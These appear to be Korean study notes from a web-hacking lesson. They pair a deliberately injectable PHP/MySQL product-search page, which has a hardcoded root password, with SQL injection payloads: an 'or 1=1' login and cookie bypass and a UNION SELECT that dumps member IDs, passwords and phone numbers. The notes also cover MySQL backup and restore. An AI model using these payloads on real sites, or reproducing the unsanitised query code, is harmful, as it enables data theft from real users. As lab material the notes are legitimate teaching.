hacker―php↔DB
hacker ― php ↔ DB
mypage.php 클라이언트에서 서버로 간 부분이 sql로 되어있고 셀렉트하여 에코에 의해 브라우저로
------------------------------------------------------------------------------------------------------------
'KT 홈페이지 해킹' 개인정보 유출 흐름도- 파로스 프로그램 ( 아무나할수있는건데 대단한것처럼 보임)
------------------------------------------------------------------------------------------------------------
아이디를 모르지만 사용자가 나오도록
> select * from memTB where m_id=''or 1=1 limit 0,1;
둘중에 어느것이 참이면 다 참이다. / 0번째부터 1개
Burp에서 cookie:logN= 'or 1=1 limit 0,1;
자동적으로 payloads에서 pay load type Brute forcer
------------------------------------------------------------
prod_search.php
<html>
<head>
<style>
body{background: #78EFAD;}
</style>
<title>
제이에이닷컴 슈즈 로그인
</title>
</head>
<boby>
<br><br>
<form method=post action="prod_search_ok.php">
제품명 : <input type='text' name='keyword1'><br><br>
수 량 (최소): <input type='text' name='keyword2'><br><br>
수 량 (최대): <input type='text' name='keyword3'><br><br>
<input type=submit value='검색'>
</form>
</body>
</html>
prod_search_ok.php
<?php
$kword1=$_POST['keyword1'];
$kword2=$_POST['keyword2'];
$kword3=$_POST['keyword3'];
$page_no=$_GET['page_no'];
if($page_no == ""){
$page_no=1;
}
$db_host = "localhost";
$db_user = "root";
$db_passwd = "1234";
$db_name = "shoeDB";
$conn = mysqli_connect($db_host,$db_user,$db_passwd,$db_name);
if (mysqli_connect_errno($conn)) {
echo "데이터연결실패:".mysqli_connect_error();
}else{
echo " 성공";
}
$sql="select count(*) from prodTB where p_name like '%".$kword1."%' and p_count >=".$kword2." and p_count <=".$kword3 ;
$result =mysqli_query($conn,$sql);
if( $result == FALSE) {
echo "쿼리실행1 실패:".mysql_error($conn);
}
$cnt=mysqli_fetch_row($result);
//echo "count=".$cnt[0];
$totrow=$cnt[0];
$totpage=ceil($totrow/5);
//echo "total page=".$totpage;
$stno=5*($page_no-1);
$sql="select * from prodTB where p_name like '%".$kword1."%' and p_count >=".$kword2." and p_count <=".$kword3." order by p_id desc limit ".$stno.",5";
$result =mysqli_query($conn,$sql);
if( $result == FALSE) {
echo "쿼리실행2 실패:".mysql_error($conn);
}
printf("<br>p_id, p_name, p_size, p_type, p_color, p_desc, p_price, p_jejosa, p_count<br><br>");
while ($row=mysqli_fetch_array($result) ){
printf("%s %s %s %s %s %s %s %s %s<br><br>",$row['p_id'],$row['p_name'],$row['p_size'],$row['p_type'],$row['p_color'],$row['p_desc'],$row['p_price'],$row['jejosa'],$row['p_count']);
}
for($cnt1=1;$cnt1<=$totpage;$cnt1++) {
echo "<a href ='prod_list.php?page_no=".$cnt1."'>".$cnt1."</a>";
}
?>
-----------------------------------------------------------------
$sql="select * from prodTB where p_name like '%".$kword1."%' and p_count >=".$kword2." and p_count <=".$kword3." order by p_id desc limit ".$stno.",5";
$kword1=$_POST['keyword1'];
-> ' union select m_id,m_pass,m_mobile,1,1,1,1,1,1,1 from memTB '
select * from prodTB where p_name like '%'union select m_id,m_pass,m_mobile,1,1,1,1,1,1,1 from memTB#%'and p_count >=~
<== 제품코드 나오다가 회원 정보도 나옴.
----------------------------------------------------------------
== mysql 값 전부 다 없애기
- mysql 백업
물리백업 / 논리백업
http://dimdim.tistory.com/entry/MySQL-%EB%B0%B1%EC%97%85-%EB%B0%8F-%EB%B3%B5%EA%B5%AC
물리적인 복구 /
논리적인 복구
- mysql -u [userId] -p [password] [DB명] < dump.sql
- mysql 접속한 후 아래의 명령 실행
mysql>
source dump.sql